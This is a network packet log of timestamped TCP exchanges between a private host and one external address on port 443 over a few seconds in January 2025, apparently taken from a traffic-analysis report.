Jan 5, 2025 18:52:45.017568111 CET	49858	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:45.017848015 CET	49858	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:45.017863035 CET	443	49858	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:45.475964069 CET	443	49858	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:45.476018906 CET	49858	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:45.477375031 CET	49858	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:45.477385044 CET	443	49858	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:45.477612972 CET	443	49858	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:45.478765011 CET	49858	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:45.478847027 CET	49858	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:45.478852987 CET	443	49858	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:45.949300051 CET	443	49858	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:45.949388981 CET	443	49858	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:45.949512959 CET	49858	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:45.949609995 CET	49858	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:45.949630022 CET	443	49858	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.262197971 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.262233973 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.262317896 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.262670040 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.262682915 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.727631092 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.727737904 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.728985071 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.728992939 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.729219913 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.730526924 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.731280088 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.731307983 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.731462002 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.731491089 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.731576920 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.731626034 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.731725931 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.731749058 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.731879950 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.731904984 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.732034922 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.732054949 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.732070923 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.732186079 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.732217073 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.741461039 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.741600037 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.741641045 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.741651058 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.741663933 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.741677046 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.741679907 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.741760015 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.741775036 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:46.741792917 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.741847038 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:46.746328115 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:48.375125885 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:48.375587940 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:48.375636101 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:48.375749111 CET	49865	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:48.375766039 CET	443	49865	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:48.379343987 CET	49879	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:48.379378080 CET	443	49879	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:48.379457951 CET	49879	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:48.379827023 CET	49879	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:48.379837036 CET	443	49879	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:48.865470886 CET	443	49879	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:48.865545988 CET	49879	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:48.867610931 CET	49879	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:48.867620945 CET	443	49879	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:48.867877007 CET	443	49879	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:48.869214058 CET	49879	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:48.869251966 CET	49879	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:48.869282961 CET	443	49879	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:49.405498028 CET	443	49879	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:49.405591965 CET	443	49879	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:49.405647993 CET	49879	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:49.405932903 CET	49879	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:49.405951977 CET	443	49879	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:49.405961990 CET	49879	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:49.405967951 CET	443	49879	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:49.421138048 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:49.421175003 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:49.421247005 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:49.421597004 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:49.421610117 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:49.910446882 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:49.910540104 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:49.913535118 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:49.913543940 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:49.913857937 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:49.915155888 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:49.959338903 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.219904900 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.219957113 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.219995022 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.220029116 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.220050097 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.220061064 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.220082998 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.220607996 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.220644951 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.220652103 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.220658064 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.220694065 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.220700026 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.220705986 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.220732927 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.221407890 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.262608051 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.262615919 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.309457064 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.312211037 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.312274933 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.312305927 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.312354088 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.312361956 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.312407017 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.312630892 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.312691927 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.312721968 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.312756062 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.312762022 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.312803030 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.313324928 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.313419104 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.313450098 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.313465118 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.313472033 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.313515902 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.314173937 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.314229965 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.314286947 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.314316034 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.314318895 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.314327002 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.314368010 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.315099001 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.315139055 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.315144062 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.315174103 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.315258980 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.315264940 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.315946102 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.316107035 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.316112995 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.356339931 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.404520988 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.404670000 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.404702902 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.404725075 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.404731035 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.404742002 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.404778957 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.405247927 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.405281067 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.405298948 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.405306101 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.405324936 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.405934095 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.405972958 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.405982971 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.405987978 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.406004906 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.406018019 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.406029940 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.406034946 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.406060934 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.406924963 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.406959057 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.406984091 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.406989098 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.407015085 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.407808065 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.407850027 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.407855988 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.407861948 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.407888889 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.407896042 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.407934904 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.407942057 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.408094883 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.408605099 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.408638000 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.408662081 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.408667088 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.408689022 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.408777952 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.409432888 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.409485102 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.409502029 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.409547091 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.497445107 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.497519016 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.497581959 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.497616053 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.497628927 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.497636080 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.497644901 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.497648954 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.497694016 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.497699022 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.497706890 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.497742891 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.497747898 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.497756004 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.497788906 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.497791052 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.497800112 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.497833967 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.497837067 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.497876883 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.497881889 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.497922897 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.497956038 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.498001099 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.498045921 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.498091936 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.498171091 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.498212099 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.498220921 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.498254061 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.498260975 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.498265028 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.498291969 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.498300076 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.498305082 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.498337030 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.498358965 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.498641968 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.498692989 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.498713970 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.498769999 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.498863935 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.498897076 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.498915911 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.498919964 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.498943090 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.498955965 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.498991013 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.499026060 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.499031067 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.499036074 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.499061108 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.499074936 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.504081011 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.504123926 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.504132986 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.504142046 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.504154921 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.504162073 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.504178047 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.504183054 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.504194021 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.504206896 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.504234076 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.504239082 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.504246950 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.504285097 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.504286051 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.504301071 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.504302979 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.504340887 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.504345894 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.559470892 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.589799881 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.589808941 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.589847088 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.589858055 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.589869976 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.589883089 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.589909077 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.589924097 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.590112925 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.590128899 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.590157986 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.590163946 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.590193987 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.590200901 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.590502977 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.590517044 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.590568066 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.590574980 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.590738058 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.590766907 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.590780020 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.590817928 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.590823889 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.590943098 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.590961933 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.590991020 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.590996027 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.591018915 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.591042042 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.591176987 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.591197014 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.591236115 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.591239929 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.591263056 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.591270924 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.591407061 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.591420889 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.591468096 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.591476917 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.591515064 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.591877937 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.591892004 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.591928005 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.591933012 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.591953993 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.591964006 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.681881905 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.681902885 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.681952000 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.681965113 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.681979895 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.682002068 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.682121992 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.682136059 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.682179928 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.682185888 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.682209969 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.682301044 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.682447910 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.682461977 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.682503939 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.682507992 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.682533026 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.682548046 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.682725906 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.682739973 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.682780981 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.682789087 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.682924986 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.683202028 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.683217049 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.683264017 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.683269024 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.683382988 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.683425903 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.683440924 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.683476925 CET	49885	443	192.168.2.5	188.114.96.3
